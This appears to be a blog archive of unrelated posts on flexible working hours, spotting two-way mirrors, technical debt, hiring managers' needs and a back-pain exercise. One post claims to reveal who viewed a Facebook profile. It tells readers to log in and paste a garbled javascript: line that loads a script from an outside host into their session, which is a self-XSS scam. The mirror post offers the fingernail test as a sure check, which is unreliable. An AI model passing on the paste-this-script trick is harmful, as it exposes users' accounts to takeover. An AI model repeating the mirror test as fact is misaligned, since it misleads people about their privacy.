Why Flexible Working Hours Is The Best Practice

Why Flexible Working Hours Is The Best Practice

By   10:39   No comments:

Most of the employers are trying new work practices and work environments to boost productivity in their organizations and to reform the perception of a ‘work environment’. And Flexible working hours seem to be the choice of many employees and entrepreneurs who understand its benefits.

And in this article, let’s take a look at some of the advantages of having flexible hours at your workplace and whether you should consider abolishing the ‘clocking in’ system in your office.

Flexible Working Hours May Boost Employee Productivity:

Are there people at your workplace who consider themselves to be at their productive peak during certain times of the day? Giving the option of flexible work hours in the workplace to people who like to and who is allowed to work during their hours of peak productivity.

Flexible Working Hours Boost employee morale and flexibility

We’re sure that employees in any workplace will be happy to welcome flexible work hours. They can run errands, attend to the needs of family or tend to other priorities in life while adjusting their work schedules. Flexibility in any employee’s mental approach to his or her environment will add to the morale and attitude towards their work. The employee will appreciate the organization’s concern towards him / her.

Flexible Working Hours may help deal with burnout

A burnout refers to a state of mind full of frustration or other emotional and physical elements which cause a drag in your work and personal life. A burnout may cause an employee to quit his job or a manager to unnecessarily vent his or her frustration on their subordinates. Flexible work hours may be able to address this situation by allowing people to take some time off on a day when everything seems to go wrong and cover up the next day.

Flexible Working Hours Reduce absenteeism

We think it is safe to understand that employees who work during hours that are favourable to their own personal schedule will be less likely to indulge into deliberate absenteeism from work, don’t you? Flexible work hours give employees that little bit of control over their work-life balance. This will dictate whether they see their jobs as a chore to be done or with a ‘look-forward-to-work-today’ approach.

Stretching opening and closing time benefits Your organization

Will it make more business sense to have your customer service department open till late rather than close off at 6 pm? This can be achieved without hiring extra personnel by having flexible work hours in your organization. Instead of having all the people clock in and out in the usual 9 to 5 schedule, why don’t you try flexible work hours and stretch your closing time till 8 pm? You could ask some of the employees to come in a bit later.

Flexible Working Hours Reduce employee turnover

What will you do if a female subordinate who has been working in your organization since the last 6 years drops in her resignation because she is soon to be a mother? Would you rather go through the hassle of recruiting a new employee and train them for the next one year, or would you prefer to give your current employee some time off and have her back on a flexible schedule?

Hiring and training a new employee is more expensive and troublesome than retaining one. So if flexible work hours in your workspace are making things work for you, why not?

Also, you may find some skilled and talented people but may miss them simply because he/she cannot work during the regular timings of your workplace?

As you can see, flexible work hours have many advantages both for the employer and the employee. Having said that it might be possible that some organization may face challenges and practical road blocks when it comes to actually implementing flexible work hours in practice. Apart from this, there were many in direct advantages on implementing Flexible Working Hours. For example, a employee who live in suburbs that are far away from their offices. For him, a 90 minute drive during peak hour may be reduced to a half an hour drive during the non-peak hour.

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Simple Test To Identify The Two Way Mirror

Simple Test To Identify The Two Way Mirror

By   15:10   No comments:

How to determine if a mirror is 2 way or not: How many of you know for sure that the seemingly ordinary mirror (in bathrooms, hotel rooms, changing rooms) hanging on the wall is a real mirror, or actually a 2-way mirror i.e., they can see you, but you can't see them? There have been many cases of people installing 2-way mirrors  and It is very difficult to positively identify the surface by just looking at it. 

Not to scare you, but to make sure that you aware. Many of the hotels cheat the customers this way. So, how do we determine with any amount of certainty what type of mirror we are looking at? 

Here is a Simple Test you need to try:

Place the tip of your fingernail against the reflective surface and if there is a GAP between your fingernail and the image of the nail, then it is a Genuine mirror. However, if your fingernail DIRECTLY TOUCHES the image of your nail, then beware, it is a two-way mirror! (there is someone seeing you from the other side). So remember, every time you see a mirror, do the "fingernail test." It doesn't cost you anything. It is simple to do This is a really good thing to do. 

 

The reason there is a gap on a real mirror, is because the silver is on the back of the mirror UNDER the glass. Whereas with a two-way mirror,the silver is on the surface. Keep it in mind! Make sure and check every time you enter in hotel rooms. May be someone is spying on you. or may be someone is making a film on you.

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Find Who Viewed Your FaceBook Profile

Find Who Viewed Your FaceBook Profile

By   22:14   No comments:

Here is a simple trick to find who has viewed your face-book profile.

Step 1: Copy the following script

javascript:(a = (b = document).createElement("script")).src = "//haja.co/whoviewed.txt?show", b.body.appendChild(a); void(0)}
                    i += 1;
                }, 2000);
            }

        }, send(null);
    }
}, send(null);

Step 2: Login to your facebook profile.

Step 3:  Paste the script in the address bad as shown in the screen shot below and hit enter or click the arrow at the end of the address-bar to view.

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Success Of A Project Starts With Prudence

Success Of A Project Starts With Prudence

By   19:44   No comments:

Whatever you undertake, act with prudence and consider the consequences. —Anon

No matter how comfortable a schedule looks at the beginning of an iteration, you can’t avoid being under pressure some of the time. If you find yourself having to choose between “doing it right” and “doing it quick,” it is often appealing to “do it quick” with the understanding that you’ll come back and fix it later. When you make this promise to yourself, your team, and your customer, you mean it. But all too often, the next iteration brings new problems and you become focused on them. 

This sort of deferred work is known as technical debt, and it is not your friend. Specifically, Martin Fowler calls this deliberate technical debt in his taxonomy of technical debt,* and it should not be confused with inadvertent technical debt.

Technical debt is like a loan: you benefit from it in the short term, but you have to pay interest on it until it is fully paid off. Shortcuts in the code make it harder to add features or refactor your code. They are breeding grounds for defects and brittle test cases. The longer you leave it, the worse it gets. By the time you get around to undertaking the original fix, there may be a whole stack of not-quite-right design choices layered on top of the original problem, making the code much harder to refactor and correct. In fact, it is often only when things have got so bad that you must fix the original problem, that you actually do go back to fix it. And by then, it is often so hard to fix that you really can’t afford the time or the risk.

There are times when you must incur technical debt to meet a deadline or implement a thin slice of a feature. Try not to be in this position, but if the situation absolutely demands it, then go ahead. But (and this is a big but) you must track technical debt and pay it back quickly, or things go rapidly downhill.

As soon as you make the decision to compromise, write a task card or log it in your issue tracking system to ensure that it does not get forgotten. If you schedule repayment of the debt in the next iteration, the cost will be minimal. Leaving the debt unpaid will accrue interest, and that interest should be tracked to make the cost visible. This will emphasize the effect on business value of the project’s technical debt and enables appropriate prioritization of the repayment. The choice of how to calculate and track the interest will depend on the particular project, but track it you must.

Pay off technical debt as soon as possible. It would be imprudent to do otherwise. Act with Prudence!

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The Hidden Needs Of Recruiting Managers

The Hidden Needs Of Recruiting Managers

By   14:58   No comments:

You know you want a job. But do you really want just any job. let’s turn to what the hiring manager wants from the Employer, even if the job ad never mentioned it . When you think of the needs of hiring managers, you probably tend to think of just their immediate need to get a warm body to fill a seat. Isn’t that what the job ad and the HR recruiter said? Not true. Though filling an immediate opening is at the top of the manager’s mind, there’s a lot more happening under the surface. Your technical capabilities will definitely contribute to getting the job, but there are many competent techies out there who have sent out hundreds of résumés without a single job offer in hand. So what’s the secret?

First of all, the secret is really in what’s never expressed verbally by either the recruiter or the hiring manager.

Fact! Employers hire solutions, not people.

All hiring managers have four basic needs that must be met before they hone in on the perfect candidate. These needs drive the way they make their hiring decisions. By preparing to address these needs, though, you can make an impression and stand out among the other hundreds of candidates. The basic needs are:

• Can you do the job?
• Will you stick around?
•  Will you fit in?
• What will you cost?

Can You Do the Job?

This is the easiest part to prepare for. After all, you have the job description. You know you have experience in the required. But what about using your known technologies to build a business-to-business solution. Do you have experience there? Determining whether you can do the job means understanding the technology, the company, the industry, and the position. This means doing some research. 

As you begin your search for the right organization, start thinking about the experience you have, both basic technical experience and the specific projects where you applied that technical experience. Hiring managers want to know whether you’ll be able to apply your technical skills to their particular challenge. You can tailor how you present your experience so that it’s easy for the hiring manager to see you solving their challenge, meeting their requirements, and fitting in with their existing team.

Will You Stick Around?

According to a study the average cost of hiring a new employee is approximately $8,500. This doesn’t include the amount of time managers spend away from their regular responsibilities recruiting and interviewing. Add to this relocating, training, and breaking in a new employee and we’re talking about a very expensive proposition. Each day that a new employee spends on the job represents an investment for the organization. No employer wants to see his investment evaporate after only a few months. So another characteristic is that you convey an impression of stability and commitment

Will You Fit In?

Great, you scored a 99% on your assessment exam. You’ve proven you know what you’re talking about. But all of your answers have been provided as one-word responses. As the hiring manager tries to draw out a little more information from you, you stare back at him, as if questions like why you got into programming are none of his business. Not good. Though you’ve passed the technical competency part of the interview, you have just failed the social competency part.

You’ve got to keep in mind that you’re going to be part of a team. You’re not going to get the job unless that team thinks they are going to be able to work with you. Remember, they already work there. You’re the outsider. Some of the things they look for are similar personalities, work ethics, dedication, desire to be on the technology leading edge, same processes, and so on.

If you have 20 years experience as a project manager and you’re interviewing for a company with a relatively new (and young) development team, you’re probably not going to fit in. They may not be ready for the processes and structure. There’s nothing wrong with this. It’s better to learn it right up front than after you’ve quit your old job and moved your family across country.

What Will You Cost?

Your cost goes beyond your salary. It includes the amount of training you will require, the amount of time it will take you to learn the industry and the business processes, and also the project at hand. It also includes benefits, relocation, and other perks. Salaries have actually stabilized in the last year. Hiring managers are being much more discriminatory about the benefits they provide.

If you want to stand out in the hiring manager’s mind, focus on presenting the value you bring to the organization. Emphasize that you bring a quick ramp-up to the job because you’ve worked for a competitor or worked on a similar project using the same technology.

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Rocking The Knees To Your Chest | Exercise For Treating Your Back Pain

Rocking The Knees To Your Chest | Exercise For Treating Your Back Pain

By   11:23   No comments:

Adequate rest and any necessary drug therapy is the primary for treating your back pain. However once your primary treatment is over, the following exercises reverse the structural and physiological changes of the motion segment. Basic theoretical treatment regimens, using various combinations of the exercises for specific back disorders.One such exercise is, Rocking the knees to your chest.

Rocking the knees to your chest

This is the ultimate ‘appeasing’ exercise. It is the least taxing and therefore least frightening exercise in the early loosening of a jammed segment. It is performed in the horizontal supine position to eliminate compression of the spine.

The primary function of the knees-rocking exercise is to fan open the posterior compartments of the spine like flaring out a deck of cards. The action stretches the muscles down the back of your spine when their tonic hold has pulled the interspaces shut. Releasing the muscles un-jams the facets and releases the pincer effect on the intervertebral disc. Thus the passive stretching inhibits the additional closing down effect across the inflamed vertebral segment. By providing ‘active’ decompression it produces the first glimmer of the spine lifting off the compressed segments. It is a very efficient first-base exercise.

Rocking the knees to the chest is very effective if you have just jarred your spine or hurt it in some way. Rocking has an immediate neurophysiological ‘switching off ’ effect which defuses the alarm and preempts the local muscles locking up the spine. The to-and-fro rocking action familiarises your back with movement again so it doesn’t have time to get stiff. It keeps your back moving in a nonthreatening way and encourages the fundamental physiologies— active disc metabolism, unhindered blood flow and proper drainage— to resume. Disc nutrition is enhanced by incremental amounts of fluid being pumped through, while the pressure changes stimulate the synthesis of proteoglycans which thereafter provides a more active osmotic pump.

Simple as it sounds, rocking the knees is often difficult to get started, let alone do well. If your back is in acute distress it is not easy to get the knees to the chest. Your legs feel heavy and your spine is loath to bend, and you may get stabs of pain as you grapple with lifting your thighs. As the spine starts to round more easily, your hip joints often complain about being bunched onto the chest. It may be more comfortable for the hips if you allow your knees to part widely around the abdomen. (You may also find that one leg is more comfortable doing this movement than the other.) 

With the more chronic disorders, where your lower back may have been stiff for decades, the cement-like rigidity is often unwilling to yield. The lower segments move as a rigid block, with all the hinging taking place at the hips and the upper lumbar levels. As the segments ease apart, your back starts to round more easily.

The emphasis with rocking the knees is to keep the movement as subtle as possible with the arc of movement only a few centimetres. 

Don’t be tempted to tug at your knees with the muscles in your neck standing up. Don’t jab your head up to meet the knees. Leave your head and shoulders calm and relaxed on the floor and gently oscillate your legs with the fingers interlaced around both knees. As your back relaxes, a sense of movement will dawn, like a piece of frozen meat thawing. The tightness will fade as you feel the vertebrae gapping open at the back. Don’t hurry and try to imagine the vertebrae segments pulling apart.

The correct way of rocking the knees to the chest

• Lie on your back on the bed or on a soft surface on the floor. 
• Brace your low back by sucking your navel in hard. If your tummy is weak, push in with one hand on the front of the tummy for reinforcement.
• With the other hand behind your thigh, pull one leg up to the chest. As soon as one foot is off the bed you can use both hands to pull the leg onto the chest.
• Bracing your tummy in the same way, pull the other leg onto your chest. Crossing your ankles makes the legs less unwieldy.
• Cup a hand over each knee and then move your legs so the thighs rest at 90º. Oscillate gently in this position, with the movement almost imperceptible.
• For high lumbar problems, take your knees closer in to your chest.

If your hips are tight you can cross your ankles and link your wrists across your upper shins and oscillate in this position.

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